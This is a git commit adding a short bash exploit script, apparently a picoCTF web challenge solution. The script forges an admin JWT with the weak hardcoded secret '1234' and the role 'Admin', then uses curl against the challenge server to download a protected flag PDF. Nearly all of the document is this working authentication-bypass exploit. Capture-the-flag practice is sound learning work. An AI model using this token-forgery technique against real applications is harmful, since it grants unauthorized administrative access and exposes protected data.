web/java_code_analysis
This commit is contained in:
Executable
+22
@@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env nix-shell
|
||||
#!nix-shell -i bash -p jwt-cli
|
||||
|
||||
URL="http://saturn.picoctf.net:54161"
|
||||
|
||||
# NOTE: see:
|
||||
# - ./bookshelf-pico/src/main/java/io/github/nandandesai/pico/security/SecretGenerator.java
|
||||
# - ./bookshelf-pico/src/main/java/io/github/nandandesai/pico/security/ReauthenticationFilter.java
|
||||
# - ./bookshelf-pico/src/main/java/io/github/nandandesai/pico/controllers/BookController.java
|
||||
# - ./bookshelf-pico/src/main/java/io/github/nandandesai/pico/services/BookService.java
|
||||
|
||||
TOKEN="$(jwt encode \
|
||||
--secret=1234 \
|
||||
--iss=bookshelf \
|
||||
--exp="1w" \
|
||||
'{"userId": 2, "email": "user", "role": "Admin"}'
|
||||
)"
|
||||
|
||||
curl "$URL/base/books/pdf/5" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
--output flag.pdf
|
||||
|
||||
Reference in New Issue
Block a user